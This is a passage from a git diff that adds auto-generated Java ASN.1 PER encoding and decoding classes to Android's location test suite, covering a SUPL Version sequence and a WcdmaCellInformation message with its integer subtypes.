+ @Override public String toIndentedString(String indent) {
+ return "maj : "
+ + getMaj().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getMin() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMin();
+ }
+
+ @Override public void setToNewInstance() {
+ setMinToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Version.minType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "min : "
+ + getMin().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getServind() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getServind();
+ }
+
+ @Override public void setToNewInstance() {
+ setServindToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Version.servindType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "servind : "
+ + getServind().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class majType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_majType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public majType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_majType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_majType != null) {
+ return ImmutableList.of(TAG_majType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new majType from encoded stream.
+ */
+ public static majType fromPerUnaligned(byte[] encodedBytes) {
+ majType result = new majType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new majType from encoded stream.
+ */
+ public static majType fromPerAligned(byte[] encodedBytes) {
+ majType result = new majType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "majType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class minType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_minType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public minType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_minType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_minType != null) {
+ return ImmutableList.of(TAG_minType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new minType from encoded stream.
+ */
+ public static minType fromPerUnaligned(byte[] encodedBytes) {
+ minType result = new minType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new minType from encoded stream.
+ */
+ public static minType fromPerAligned(byte[] encodedBytes) {
+ minType result = new minType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "minType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class servindType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_servindType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public servindType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_servindType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_servindType != null) {
+ return ImmutableList.of(TAG_servindType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new servindType from encoded stream.
+ */
+ public static servindType fromPerUnaligned(byte[] encodedBytes) {
+ servindType result = new servindType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new servindType from encoded stream.
+ */
+ public static servindType fromPerAligned(byte[] encodedBytes) {
+ servindType result = new servindType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "servindType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Version = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/WcdmaCellInformation.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/WcdmaCellInformation.java
new file mode 100755
index 0000000..9d68625
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/WcdmaCellInformation.java
@@ -0,0 +1,1050 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class WcdmaCellInformation extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_WcdmaCellInformation
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public WcdmaCellInformation() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_WcdmaCellInformation;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_WcdmaCellInformation != null) {
+ return ImmutableList.of(TAG_WcdmaCellInformation);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new WcdmaCellInformation from encoded stream.
+ */
+ public static WcdmaCellInformation fromPerUnaligned(byte[] encodedBytes) {
+ WcdmaCellInformation result = new WcdmaCellInformation();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new WcdmaCellInformation from encoded stream.
+ */
+ public static WcdmaCellInformation fromPerAligned(byte[] encodedBytes) {
+ WcdmaCellInformation result = new WcdmaCellInformation();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private WcdmaCellInformation.refMCCType refMCC_;
+ public WcdmaCellInformation.refMCCType getRefMCC() {
+ return refMCC_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WcdmaCellInformation.refMCCType
+ */
+ public void setRefMCC(Asn1Object value) {
+ this.refMCC_ = (WcdmaCellInformation.refMCCType) value;
+ }
+ public WcdmaCellInformation.refMCCType setRefMCCToNewInstance() {
+ refMCC_ = new WcdmaCellInformation.refMCCType();
+ return refMCC_;
+ }
+
+ private WcdmaCellInformation.refMNCType refMNC_;
+ public WcdmaCellInformation.refMNCType getRefMNC() {
+ return refMNC_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WcdmaCellInformation.refMNCType
+ */
+ public void setRefMNC(Asn1Object value) {
+ this.refMNC_ = (WcdmaCellInformation.refMNCType) value;
+ }
+ public WcdmaCellInformation.refMNCType setRefMNCToNewInstance() {
+ refMNC_ = new WcdmaCellInformation.refMNCType();
+ return refMNC_;
+ }
+
+ private WcdmaCellInformation.refUCType refUC_;
+ public WcdmaCellInformation.refUCType getRefUC() {
+ return refUC_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WcdmaCellInformation.refUCType
+ */
+ public void setRefUC(Asn1Object value) {
+ this.refUC_ = (WcdmaCellInformation.refUCType) value;
+ }
+ public WcdmaCellInformation.refUCType setRefUCToNewInstance() {
+ refUC_ = new WcdmaCellInformation.refUCType();
+ return refUC_;
+ }
+
+ private FrequencyInfo frequencyInfo_;
+ public FrequencyInfo getFrequencyInfo() {
+ return frequencyInfo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a FrequencyInfo
+ */
+ public void setFrequencyInfo(Asn1Object value) {
+ this.frequencyInfo_ = (FrequencyInfo) value;
+ }
+ public FrequencyInfo setFrequencyInfoToNewInstance() {
+ frequencyInfo_ = new FrequencyInfo();
+ return frequencyInfo_;
+ }
+
+ private WcdmaCellInformation.primaryScramblingCodeType primaryScramblingCode_;
+ public WcdmaCellInformation.primaryScramblingCodeType getPrimaryScramblingCode() {
+ return primaryScramblingCode_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WcdmaCellInformation.primaryScramblingCodeType
+ */
+ public void setPrimaryScramblingCode(Asn1Object value) {
+ this.primaryScramblingCode_ = (WcdmaCellInformation.primaryScramblingCodeType) value;
+ }
+ public WcdmaCellInformation.primaryScramblingCodeType setPrimaryScramblingCodeToNewInstance() {
+ primaryScramblingCode_ = new WcdmaCellInformation.primaryScramblingCodeType();
+ return primaryScramblingCode_;
+ }
+
+ private MeasuredResultsList measuredResultsList_;
+ public MeasuredResultsList getMeasuredResultsList() {
+ return measuredResultsList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a MeasuredResultsList
+ */
+ public void setMeasuredResultsList(Asn1Object value) {
+ this.measuredResultsList_ = (MeasuredResultsList) value;
+ }
+ public MeasuredResultsList setMeasuredResultsListToNewInstance() {
+ measuredResultsList_ = new MeasuredResultsList();
+ return measuredResultsList_;
+ }
+
+
+
+ private WcdmaCellInformation.cellParametersIdType extensionCellParametersId;
+ public WcdmaCellInformation.cellParametersIdType getExtensionCellParametersId() {
+ return extensionCellParametersId;
+ }
+ /**
+ * @throws ClassCastException if value is not a WcdmaCellInformation.cellParametersIdType
+ */
+ public void setExtensionCellParametersId(Asn1Object value) {
+ extensionCellParametersId = (WcdmaCellInformation.cellParametersIdType) value;
+ }
+ public void setExtensionCellParametersIdToNewInstance() {
+ extensionCellParametersId = new WcdmaCellInformation.cellParametersIdType();
+ }
+
+ private TimingAdvance extensionTimingAdvance;
+ public TimingAdvance getExtensionTimingAdvance() {
+ return extensionTimingAdvance;
+ }
+ /**
+ * @throws ClassCastException if value is not a TimingAdvance
+ */
+ public void setExtensionTimingAdvance(Asn1Object value) {
+ extensionTimingAdvance = (TimingAdvance) value;
+ }
+ public void setExtensionTimingAdvanceToNewInstance() {
+ extensionTimingAdvance = new TimingAdvance();
+ }
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefMCC() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefMCC();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefMCCToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WcdmaCellInformation.refMCCType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refMCC : "
+ + getRefMCC().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefMNC() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefMNC();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefMNCToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WcdmaCellInformation.refMNCType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refMNC : "
+ + getRefMNC().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefUC() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefUC();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefUCToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WcdmaCellInformation.refUCType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refUC : "
+ + getRefUC().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getFrequencyInfo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getFrequencyInfo();
+ }
+
+ @Override public void setToNewInstance() {
+ setFrequencyInfoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? FrequencyInfo.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "frequencyInfo : "
+ + getFrequencyInfo().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getPrimaryScramblingCode() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPrimaryScramblingCode();
+ }
+
+ @Override public void setToNewInstance() {
+ setPrimaryScramblingCodeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WcdmaCellInformation.primaryScramblingCodeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "primaryScramblingCode : "
+ + getPrimaryScramblingCode().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getMeasuredResultsList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMeasuredResultsList();
+ }
+
+ @Override public void setToNewInstance() {
+ setMeasuredResultsListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? MeasuredResultsList.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "measuredResultsList : "
+ + getMeasuredResultsList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionCellParametersId() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionCellParametersId();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionCellParametersIdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cellParametersId : "
+ + getExtensionCellParametersId().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionTimingAdvance() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionTimingAdvance();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionTimingAdvanceToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "timingAdvance : "
+ + getExtensionTimingAdvance().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refMCCType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refMCCType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refMCCType() {
+ super();
+ setValueRange("0", "999");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refMCCType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refMCCType != null) {
+ return ImmutableList.of(TAG_refMCCType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refMCCType from encoded stream.
+ */
+ public static refMCCType fromPerUnaligned(byte[] encodedBytes) {
+ refMCCType result = new refMCCType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refMCCType from encoded stream.
+ */
+ public static refMCCType fromPerAligned(byte[] encodedBytes) {
+ refMCCType result = new refMCCType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refMCCType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refMNCType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refMNCType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refMNCType() {
+ super();
+ setValueRange("0", "999");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refMNCType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refMNCType != null) {
+ return ImmutableList.of(TAG_refMNCType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refMNCType from encoded stream.
+ */
+ public static refMNCType fromPerUnaligned(byte[] encodedBytes) {
+ refMNCType result = new refMNCType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refMNCType from encoded stream.
+ */
+ public static refMNCType fromPerAligned(byte[] encodedBytes) {
+ refMNCType result = new refMNCType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refMNCType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refUCType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refUCType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refUCType() {
+ super();
+ setValueRange("0", "268435455");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refUCType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refUCType != null) {
+ return ImmutableList.of(TAG_refUCType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refUCType from encoded stream.
+ */
+ public static refUCType fromPerUnaligned(byte[] encodedBytes) {
+ refUCType result = new refUCType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refUCType from encoded stream.
+ */
+ public static refUCType fromPerAligned(byte[] encodedBytes) {
+ refUCType result = new refUCType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refUCType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class primaryScramblingCodeType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_primaryScramblingCodeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public primaryScramblingCodeType() {
+ super();
+ setValueRange("0", "511");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_primaryScramblingCodeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_primaryScramblingCodeType != null) {
+ return ImmutableList.of(TAG_primaryScramblingCodeType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new primaryScramblingCodeType from encoded stream.
+ */
+ public static primaryScramblingCodeType fromPerUnaligned(byte[] encodedBytes) {
+ primaryScramblingCodeType result = new primaryScramblingCodeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new primaryScramblingCodeType from encoded stream.
+ */
+ public static primaryScramblingCodeType fromPerAligned(byte[] encodedBytes) {
+ primaryScramblingCodeType result = new primaryScramblingCodeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "primaryScramblingCodeType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cellParametersIdType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cellParametersIdType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cellParametersIdType() {
+ super();
